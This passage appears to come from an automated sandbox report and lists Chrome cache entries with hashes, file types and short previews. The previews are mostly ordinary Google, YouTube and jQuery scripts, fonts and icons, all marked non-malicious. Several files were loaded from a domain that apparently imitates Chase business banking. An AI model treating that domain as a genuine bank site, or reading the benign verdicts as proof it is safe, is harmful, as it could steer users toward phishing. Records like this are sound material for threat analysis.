SSDEEP:	6144:kVD30WZjJM0PuJQ+ApsOOFZNnv+lqOQMmsWrBQoSpFMgDu4HTNhYAVQIfUEQHNvZ:kVD3XZjJM0Puq+ApsOOFZNnv+lqOQMmJ
MD5:	F8C823C13B80A1921201903D66702912
SHA1:	67EDA9BC295AE9779F9FCDAF5500459E5C9F186E
SHA-256:	7C28EE8D4500E460968A2321FFBF39EF3F3850E4643B14F30D8304CDC6142E9F
SHA-512:	7B3606161F56E5D73C0CA5FAF29CD9C3E459290898F1FB42373C03EC4D9F2EF2D3AC1A2931D8EAF9A84EBF26265757ACAD28CF2C4BFA314131FCCFF2431066E3
Malicious:	false
Reputation:	low
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ad=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.te=function(a){return _.Hb(a)&&a.nodeType==1};_.ue=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.qe(a),a.appendChild(_.ge(a).createTextNode(String(b)))};var ve;_.we=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ve\|\|(ve={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ve,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ae;_.ze=func

Chrome Cache Entry: 114

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	downloaded
Size (bytes):	14478
Entropy (8bit):	5.46897211761226
Encrypted:	false
SSDEEP:	384:IYim7O/sAg9U6KAQdkzFc+5aiWQLHO91mIuW:IoqUAh8vz5W2o
MD5:	4A2B1E83CCEA5A70AFDFC3F1434CA6A2
SHA1:	5A34C38829BDA10164EBDB1D1742F0B827247E39
SHA-256:	51F7939C541E0DD14D3C6AC44865499304ACA395BC72B7AF238C2F76C806FA71
SHA-512:	679B56AD35C3CAD0CFD98B57F011BD8442FECF520B05B650DFCD59D04485905D25AF1BC297FCC41A22FF655EF3EE6B35C606A5FE00811ADCB94C747F57AE2393
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/js/googleapis.proxy.js?onload=startup
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 115

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (561)
Category:	downloaded
Size (bytes):	30884
Entropy (8bit):	5.396878850736056
Encrypted:	false
SSDEEP:	384:4o63kjilKDknpjTqty5qTWZhuHjiyBMAtmN4C4SYCG3EzZYBFS/+0O/txrncOnk5:Utlrpgy5GZHm4C4N10kv0O/zrYe1M
MD5:	32C99FE6533A025BDB08BDE87A9B4F6E
SHA1:	F1B48F220F4B4B81CCDBB1A9289B821A66CFA1D3
SHA-256:	14939503C8A97BEF459CE94218F0E65933AB569F7B1D726BCB0B3C1031EBCCF9
SHA-512:	8D454CC89659899B923B9467FD1F488F0DEA432D4FDAEDB59FAA83C29D4FEDD045AA445BE34D094103E4D81BD4773B61F926C381F14FC7388E34D89D51F4582D
Malicious:	false
Reputation:	low
URL:	https://youtube.googleapis.com/s/player/03dbdfab/www-widgetapi.vflset/www-widgetapi.js
Preview:	(function(){'use strict';var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var r=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var t=da(this);function u(a,b){if(b)a:{var c=t;a=a.split(".");for(var d=0;d<a.length-1;d++){var g=a[d];if(!(g in c))break a;c=c[g]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&r(c,a,{configurable:!0,writable:!0,value:b})}}.u("Symbol",function(a){function b(k){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(k\|\|"")+"_"+g++,k)}.function c(k,e){this.g=k;r(this,"description",{configurable:!0,writable:!0,value:e

Chrome Cache Entry: 116

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 25108, version 1.0
Category:	downloaded
Size (bytes):	25108
Entropy (8bit):	7.979318067154575
Encrypted:	false
SSDEEP:	384:J8Y/vw3eQlKmL0PM1OE+g+lhEWi4KZ3W+WgD2pwXC+CFt7fGPrKMtI:weF9tgyhEnRmo2QC+Cn+zKMtI
MD5:	33B58DCBC5AA1AE12FA76473C21FFE44
SHA1:	82A3345756101D0F95FE1DAB285E9F9C4E79871F
SHA-256:	D2113460C69DE50EDC6206A20DEEC3C2BC2733929F53817F1FACA74AB34C33E3
SHA-512:	050F1AC9579EEBC238FE01D5EEB575264759020B7D2C38CB4E7B7AF1D80A07F7A3E9AEEC69AC3622B3CA50021DC750973D696653953F8268932BA0B3423157AA
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/fonts/opensans-semibold.woff
Preview:	wOFF......b.................................FFTM............l/.GDEF.............'..GPOS............,..XGSUB.............^..OS/2.......^...`..ncmap...l.........@X.cvt .......:...:....fpgm...0.......eS./.gasp................glyf......M....H.i..head..X....3...6.:.hhea..Y........$.y.'hmtx..Y(...:......R#loca..[d........Jzhmaxp..]0... ... ....name..]P...$....d...post.._t........y..prep..ad........m.pwebf..b...........UT.........hU......L.}.....z..x.c`d``..b1 fb`..@...1.........x..KlTU...3.a.......26....I..j.Z..i.......BBcHL.....0!.+9<j.L..Y.R..2LW,..im...IW..!..s.).H..\|...9......=s..T.n}.HK..z...zw....;U../wk."..X...7..;zw+.."..c\.xo.].t+t84...w..p....s....}0..)r/r/....-t8.L.6......wm..X..'c{.I..oD.....4........)Y.....IOx::O.w.....T..G.zUM..f=..b^....:..u.fH.....q....8...d. ..A...{......`...9..y...0..`....L...\.kp...M.?.u...)..A=....7....KB3\|.......{8....{.N.I...&.S.!....%f%.p....g.g.\|Mx%a!.%.%.%.%.%.%W)..bO..,<....D..@4G4........... ...P....i...`.R........u.

Chrome Cache Entry: 117

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUmExltxlHh/:Jb/
MD5:	FC94FB0C3ED8A8F909DBC7630A0987FF
SHA1:	56D45F8A17F5078A20AF9962C992CA4678450765
SHA-256:	2DFE28CBDB83F01C940DE6A88AB86200154FD772D568035AC568664E52068363
SHA-512:	C87BF81FD70CF6434CA3A6C05AD6E9BD3F1D96F77DDDAD8D45EE043B126B2CB07A5CF23B4137B9D8462CD8A9ADF2B463AB6DE2B38C93DB72D2D511CA60E3B57E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 118

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25592), with no line terminators
Category:	downloaded
Size (bytes):	25592
Entropy (8bit):	4.761536686483135
Encrypted:	false
SSDEEP:	384:2ZLww6Lp7yFuRqlid41UQ6VZOOw43ygAjkHFcYHuG4Ar:LQHid496jVgYHuGl
MD5:	680ADBA36B747D2F9B6CEBA145D7F10A
SHA1:	7A5807B8974D187750D28077EB29C44485F893B7
SHA-256:	5D34B2663293A39624429B1163506BF59E4AFDE8FAEB3F0F9A7736F56BBEFC8B
SHA-512:	535B9CDF8B6BFF6ED5CA41C2689B1B33034F831707F9E6C8EF7E42F876C26E2C78ACD5915B4FCF4FE34C3304DEB18ED1757BAA752C811CBB90CE97BA1D8717D2
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/css/mds-chase-icons.css
Preview:	@font-face{font-family:mds-chase-icons;src:url(fonts/mds-chase-icons.eot);src:url(fonts/mds-chase-icons.eot#iefix) format('embedded-opentype'),url(fonts/mds-chase-icons.woff2) format("woff2"),url(fonts/mds-chase-icons.woff) format("woff"),url(fonts/mds-chase-icons.ttf) format('truetype'),url(fonts/mds-chase-icons.svg) format('svg')}.mds-chase-icons:before{font-family:mds-chase-icons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-style:normal;font-variant:normal;font-weight:400;text-decoration:none;text-transform:none}.mds-chase-icons[class$="_md"]:before{font-size:48px}.ico_accessibility:before{content:"\E25E"}.ico_ach_transfer_md:before{content:"\E0F0"}.ico_add:before{content:"\E108"}.ico_add_circle:before{content:"\E000"}.ico_airballoon:before{content:"\E155"}.ico_alert:before{content:"\E1EB"}.ico_alert_circle:before{content:"\E001"}.ico_alert_filled:before{content:"\E003"}.ico_alert_filled_md:before{content:"\E002"}.ico_alert_outlined:before{content:"\E005

Chrome Cache Entry: 119

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	218287
Entropy (8bit):	5.5229838275997345
Encrypted:	false
SSDEEP:	6144:kVD30WZjJM0PuJQ+ApsOOFZNnv+lqOQMmsWrBQoSpFMgDu4HTNhYAVQIfUEQHNvZ:kVD3XZjJM0Puq+ApsOOFZNnv+lqOQMmJ
MD5:	F8C823C13B80A1921201903D66702912
SHA1:	67EDA9BC295AE9779F9FCDAF5500459E5C9F186E
SHA-256:	7C28EE8D4500E460968A2321FFBF39EF3F3850E4643B14F30D8304CDC6142E9F
SHA-512:	7B3606161F56E5D73C0CA5FAF29CD9C3E459290898F1FB42373C03EC4D9F2EF2D3AC1A2931D8EAF9A84EBF26265757ACAD28CF2C4BFA314131FCCFF2431066E3
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=qabr,q_dnp,qcwid,qapid,qads,q_dg/exm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ad=typeof AsyncContext!=="undefined"&&typeof AsyncContext.Snapshot==="function"?a=>a&&AsyncContext.Snapshot.wrap(a):a=>a;.}catch(e){_._DumpException(e)}.try{._.te=function(a){return _.Hb(a)&&a.nodeType==1};_.ue=function(a,b){if("textContent"in a)a.textContent=b;else if(a.nodeType==3)a.data=String(b);else if(a.firstChild&&a.firstChild.nodeType==3){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.qe(a),a.appendChild(_.ge(a).createTextNode(String(b)))};var ve;_.we=function(a,b,c){Array.isArray(c)&&(c=c.join(" "));const d="aria-"+b;c===""\|\|c==void 0?(ve\|\|(ve={atomic:!1,autocomplete:"none",dropeffect:"none",haspopup:!1,live:"off",multiline:!1,multiselectable:!1,orientation:"vertical",readonly:!1,relevant:"additions text",required:!1,sort:"none",busy:!1,disabled:!1,hidden:!1,invalid:"false"}),c=ve,b in c?a.setAttribute(d,c[b]):a.removeAttribute(d)):a.setAttribute(d,c)};var Ae;_.ze=func

Chrome Cache Entry: 120

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2258)
Category:	downloaded
Size (bytes):	103720
Entropy (8bit):	5.679847648017333
Encrypted:	false
SSDEEP:	1536:a38X0GC10GQWUl5wj77Z9HUvcIXC8HU2jB1otsJoIgTkoP:a7GoY07Z9HUvcIXC8HU2j/rijTkoP
MD5:	27B39AE6F6E1418FF0E4B48CB096B2FF
SHA1:	EBD921C776A34D3615C996FE006F949F34FE3103
SHA-256:	E7757404FFE1683F4E24A99074572EF636DB79BA94178E2DE41B7F67AA9DD37D
SHA-512:	BBFD400729319E5D11C34CE50061603F6984D38CAD79725F1D1D7ADFF91AC317CA56DD733F6FCA908DAD7C2C8695C196EC5FBCEE42FA8328D5A86EDFA30D1BCE
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy6p,sy10,sy6w,sy74,sy75,sy77,sy76,sy7a,rj51oe,gypOCd"
Preview:	try{.var Lle=function(){QL.apply(this,arguments)};P(Lle,QL);Lle.prototype.enqueue=function(a,b){this.insert(a,b)};var Mle=function(a,b){a%=b;return a*b<0?a+b:a},Nle=function(a){return 1-Math.pow(1-a,3)};.}catch(e){_DumpException(e)}.try{.var sNc=function(){return faa&&ha?!ha.mobile&&(ja("iPad")\|\|ja("Android")\|\|ja("Silk")):ja("iPad")\|\|ja("Android")&&!ja("Mobile")\|\|ja("Silk")},pQ=function(){return!(faa&&ha?ha.mobile:!sNc()&&(ja("iPod")\|\|ja("iPhone")\|\|ja("Android")\|\|ja("IEMobile")))&&!sNc()};.}catch(e){_DumpException(e)}.try{.var i3e=function(a,b){this.C=a instanceof Lv?a:new Lv(a,b)};Ck(i3e,fBb);i3e.prototype.Md=function(a,b,c,d){var e=Vf(a);var f=e.body;e=e.documentElement;e=new Lv(f.scrollLeft\|\|e.scrollLeft,f.scrollTop\|\|e.scrollTop);f=this.C.x+e.x;e=this.C.y+e.y;var g=gBb(a);f-=g.x;e-=g.y;bH(new Lv(f,e),a,b,c,null,null,d)};var j3e=function(a,b){i3e.call(this,a,b)};Ck(j3e,i3e);j3e.prototype.F=0;j3e.prototype.D=function(a){this.F=a};.j3e.prototype.Md=function(a,b,c,d){var e=Vx(cWa(a)),f=

Chrome Cache Entry: 121

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (644)
Category:	dropped
Size (bytes):	6374
Entropy (8bit):	5.43971618560427
Encrypted:	false
SSDEEP:	96:9LZw/hvZLoYWBPPeyWNgdpQgz5hKJn/1pdytkT8zprRWsGO:vGvZqteyyafKp/1pQtkwVrRWVO
MD5:	DB626CC09E25EEB9EB6D92EDDA4D5B1A
SHA1:	456D3AE744482E6F32C590B03FD3066D98B4A493
SHA-256:	5722A7EC7393071917438A03A109602E17B76937273C08A45E62655D67CCBB4D
SHA-512:	AD5F37A3A420EC1B3C9B15635BD2791C41054100ADAD1FDE26BA4E7BABA85AA7D918E8948EA0E890275A55AD2818F0D4591C7655EFCFB72FE2FC234FE169FAD1
Malicious:	false
Reputation:	low
Preview:	try{.C("MpJwZc");..D();.}catch(e){_DumpException(e)}.try{.C("UUJqVe");..D();.}catch(e){_DumpException(e)}.try{.bg(AA);.}catch(e){_DumpException(e)}.try{.C("s39S4");.var AFc=function(a,b,c){c?a.setAttribute(b,c):a.removeAttribute(b);a.hasAttribute("c-wiz")\|\|(b=a,a.tagName==="C-DATA"&&(b=a.parentElement),I1a(b,!1))},BFc=function(a,b,c){var d=a.getAttribute(b)\|\|"";c=String(c\|\|"");c=c.split(";").filter(function(e){return e});d=d.split(";").filter(function(e){return yh(e,":.CLIENT")});Ba(c,d);(c=c.join(";"))?a.setAttribute(b,c):a.removeAttribute(b);ola(a)},FFc=function(){CFc\|\|(CFc=!0,DFc=Aja,Aja=function(a){DFc&&DFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&.cg(Vf(c)).GWa(c)}},EFc=Bja,Bja=function(a){EFc&&EFc(a);for(var b=0;b<a.length;b++){var c=a[b];Mf(c)&&cg(Vf(c)).HWa(c)}})},cP=function(a,b){a.H=b},GFc=function(a){if(a=a\|\|document.body){var b=document.head.querySelector("style[data-late-css]");a=n(Array.from(a.querySelectorAll("style[data-server-css-collection], link[data-server-c

Chrome Cache Entry: 122

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	259
Entropy (8bit):	6.7268503778685105
Encrypted:	false
SSDEEP:	6:6v/lhPeoMMphEt0Sa2AKhmC4cR5HIQoplQfQjy30up:6v/7bn2AKhmMjHv2lQfQjw0c
MD5:	AF848AEE503A57E479B0FB57318F3F2F
SHA1:	68FE7097531D492691C6FA3454C8192D13E8572F
SHA-256:	33DD0582F6972DDDB05BEE6FD5EA0312FBD782A8003F4C7876AFEBD0F08F49AD
SHA-512:	1225614BBD2BD8DCF57B31759093EC92096A16AB428DE43606A8F71367BF247B9ADFE1F2C18E5F7156A216CBC4B35CF5070A39E4740FBDE1BAE5709D43734619
Malicious:	false
Reputation:	low
URL:	https://ssl.gstatic.com/docs/doclist/images/mediatype/icon_3_pdf_x16.png
Preview:	.PNG........IHDR................a....IDATx.cx.l......+g.....N... ...=....D.\|Y8.......]Z...E.p....`5.....}.lD5..3.....?.......?..8..D......H.....n..(?..r.....L3....\|.....cm...@j@..j.8..\|T/ ....4...^..P>PC:<.>#......CBz.d..".^8.....h......V...Q......IEND.B`.

Chrome Cache Entry: 123

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	697
Entropy (8bit):	4.7196032286809055
Encrypted:	false
SSDEEP:	12:uZC4v1CYZOgX8XP9GTBdA37dSc7hXaGC8COgX8bPmsTgZC43qLK:uZC4vgYZLPQ5V7K8CXLC4a+
MD5:	7F74AFBC5E15C6B3880D810FE9F52644
SHA1:	FE83395BF9CE21357371B177E3056F0F6FD7BC2A
SHA-256:	09534DC4353394031C8763DA61496F2CB4AE28A6F8A34514F0E67F2011F86DFA
SHA-512:	4CF871BBED9B3B629F1E0D4FF3F3FA071130D12FC0EDFAFBA8024D2282D8468792177218D18D9F4825DE80C8EAA6DFA6B6A429F096602D53D2AF86C580A91E5F
Malicious:	false
Reputation:	low
Preview:	{. "error": {. "code": 403,. "message": "Requests from referer \u003cempty\u003e are blocked.",. "status": "PERMISSION_DENIED",. "details": [. {. "@type": "type.googleapis.com/google.rpc.ErrorInfo",. "reason": "API_KEY_HTTP_REFERRER_BLOCKED",. "domain": "googleapis.com",. "metadata": {. "service": "blobcomments-pa.googleapis.com",. "httpReferrer": "\u003cempty\u003e",. "consumer": "projects/298134251447". }. },. {. "@type": "type.googleapis.com/google.rpc.LocalizedMessage",. "locale": "en-US",. "message": "Requests from referer \u003cempty\u003e are blocked.". }. ]. }.}.

Chrome Cache Entry: 124

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	86929
Entropy (8bit):	5.289492706499139
Encrypted:	false
SSDEEP:	1536:aLiBdiaWLOczCmZx6+VWuGzQNOzdn6x2RZd9SEnk9HB96c9Yo/NWLbVj3kC6ta:+kn6x2xe9NK6nC6E
MD5:	378087A64E1394FC51F300BB9C11878C
SHA1:	0C3192B500A4FD550E483CF77A49806A5872185B
SHA-256:	4FE68FA216176E6D1F4580E924BAFECC9F519984ECC06B1A840A08B0D88C95DE
SHA-512:	9A2C70516EA0C8C37C7F072F214DE0AFD5DDEB643C6B5D3FA8ADE3EF8D2CE40BDF8B1B1194BAD296E9075562701EE7DAE48B18144B1CD2D735328BE5A3ACCBE6
Malicious:	false
Reputation:	low
URL:	https://online.access.secure001.chase-business.com/content/js/jquery3_3_1.min.js
Preview:	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)}

Chrome Cache Entry: 125

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4434)
Category:	dropped
Size (bytes):	74412
Entropy (8bit):	5.584975491478061
Encrypted:	false
SSDEEP:	1536:ON+4tY0S2yvGnf4vA6s/RXHUJGokpuv+S9cOTm7IWOByK:T2yvefHfotP9ti7IyK
MD5:	604305B4C6768309AFD161FB4765ED1D
SHA1:	8BA0E9078CDD729A55C99B8C81EFB10C77B0C7A4
SHA-256:	10F2C1A783A6BCA723B2E7F96579FDED43E7CF14A032CC593E67AFCE3AE458FA
SHA-512:	9F8A6218A096397C5E379C6A31A580FD598E59EA291A283BC64AD4C2B83B60D0CEE74643DB0279AFBBC77C8FB8EEB7E9DFDBA6A02DA344806FA6AAA21FFFD3DD
Malicious:	false
Reputation:	low
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 126

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4084)
Category:	downloaded
Size (bytes):	928288
Entropy (8bit):	5.550521877313307
Encrypted:	false
SSDEEP:	6144:eVf7Z+cpK0C1h4CiVMIZ9iqYWTTGTvho3pNYIKERhe7yCr2N8BgJ7cZh/GoGZGFb:eVf7ZNA0C8fxbjgyC6oikGoFx
MD5:	63D09A2257593E4F61D28D22AFFD47AA
SHA1:	28B827BFB903D35D277BAF1BC3776DA5362C16C6
SHA-256:	61CFE8DCFD3EA0A84462CA6CF63BE84A725B1A60BB36A955C78298CAF0A32794
SHA-512:	92F3F0BD4DC28F7FFC0FAC4C2BD7CB54CDA614E996AB1DD7A61873D5C5F6CEC897D8F24C62A3512D641DED0AA86AFBA58FA49E7DFE59BEBDEA09E1FF8FAEA364
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039vPMRCdwAYYEF59kJuKbFDTiIPtsw/m=sy47,sy4a,dSirkf,sy6l,sy4j,sy4l,n90YA,ZGAB2e,sLGWFe,sy37,sy4c,sy35,sy58,sy1h,sy4b,sy4h,sy4k,sy4w,M79aPc,sy1o,sy36,sy3e,sy4d,sy4e,sy4f,sy4g,sy4o,sy6r,sy6s,sy6o,syp,syq,syx,sy1j,sy20,sy33,sy48,sy50,sy57,sy6c,sy6k,nJ4XF,sy6m,sy6n,sy6q,sy6t,sy6u,UKcSG,AtsVYc"
Preview:	try{.var W_c=function(a){if(V_c.has(a))return V_c.get(a);throw Error("Sh`"+a);},Y_c=function(a){if(X_c.has(a))return X_c.get(a);throw Error("Th`"+a);},Z_c=function(a){for(var b=new Map,c=n(Object.keys(a)),d=c.next();!d.done;d=c.next())d=d.value,b.set(a[d].string,a[d].ik);return b},yS=function(a){this.ca=p(a)};P(yS,x);for(var $_c={ARROW_KEYS:{string:"arrow_keys",ik:"Wxn7ub"},AUTOMATED:{string:"automated",ik:"wjpLYc"},CLICK:{string:"click",ik:"cOuCgd"},DRAGEND:{string:"dragend",ik:"RlD3W"},DROP:{string:"drop",ik:"DaY83b"},GENERIC_CLICK:{string:"generic_click",ik:"szJgjc"},HOVER:{string:"hover",ik:"ZmdkE"},IMPRESSION:{string:"impression",ik:"xr6bB"},KEYBOARD_ENTER:{string:"keyboard_enter",ik:"SYhH9d"},KEYPRESS:{string:"keypress",ik:"Kr2w4b"},LONG_PRESS:{string:"long_press",ik:"tfSNVb"},MOUSEOVER:{string:"mouseover",.ik:"FrfE3b"},RIGHT_CLICK:{string:"rightclick",ik:"CYQmze"},SCROLL:{string:"scroll",ik:"XuHpsb"},SWIPE:{string:"swipe",ik:"eteedb"},VIS:{string:"vis",ik:"HkgBsf"}},V_c=Z_c($_c)

Chrome Cache Entry: 127

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (501)
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	5.277949266142675
Encrypted:	false
SSDEEP:	24:N1XIbtEHvIYWwmqAK/HJ2cNAXzk5vuHM8aJLtMCRWZ4FhQ:N1XmtEPT6cLAXzk5kaJL+CwYhQ
MD5:	9AA60F647010B80DFDA3AC5381E8EDF8
SHA1:	117DFDEE7502F2DF9C5E7B85A3492D3FD8C78828
SHA-256:	3F2B738B2AE0453D236AC241DA7850CA41AC6973E1DE964F401ADE1AB97FB9A0
SHA-512:	624CA1372A8B96420566EAC6382D9D97BF863196C50FF70D63931BDE35B479A6396AE2F10961D889AFF8D54D8E47E9E9813A6C6C6945EF13BAB52ACB177891A9
Malicious:	false
Reputation:	low
Preview:	var scriptUrl = 'https:\/\/youtube.googleapis.com\/s\/player\/03dbdfab\/www-widgetapi.vflset\/www-widgetapi.js';try{var ttPolicy=window.trustedTypes.createPolicy("youtube-widget-api",{createScriptURL:function(x){return x}});scriptUrl=ttPolicy.createScriptURL(scriptUrl)}catch(e){}var YT;if(!window["YT"])YT={loading:0,loaded:0};var YTConfig;if(!window["YTConfig"])YTConfig={"host":"https://www.youtube.com"};.if(!YT.loading){YT.loading=1;(function(){var l=[];YT.ready=function(f){if(YT.loaded)f();else l.push(f)};window.onYTReady=function(){YT.loaded=1;var i=0;for(;i<l.length;i++)try{l[i]()}catch(e){}};YT.setConfig=function(c){var k;for(k in c)if(c.hasOwnProperty(k))YTConfig[k]=c[k]};var a=document.createElement("script");a.type="text/javascript";a.id="www-widgetapi-script";a.src=scriptUrl;a.async=true;var c=document.currentScript;if(c){var n=c.nonce\|\|c.getAttribute("nonce");if(n)a.setAttribute("nonce",.n)}var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b)})()};.

Chrome Cache Entry: 128

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	121112
Entropy (8bit):	5.837130305275228
Encrypted:	false
SSDEEP:	3072:kyW/Za21hsq1xCLqrQcS8xriAX7E1fbaRrcjSbPxtKDY/Ji/JPvhv:kyWhvHCLqEcS8xOAX7E1f2BPM
MD5:	EAAA71ED8F32B85F24FD3EBC43535BCC
SHA1:	CFFB0A1096D61DC0BA476D19381806BEC8264EF4
SHA-256:	AF2F1227E6BE9926C8A5E9FC5FCE394C150E19412248A3C8F9BC65076E3AECBB
SHA-512:	F178343DFD51C11A326D2322830436188122A3F56BF964C8075291F0D41489048735A356A605579F28B7DA67FFFDB87C2D390D82CE8AB61A54A907AD02CE49C2
Malicious:	false
Reputation:	low
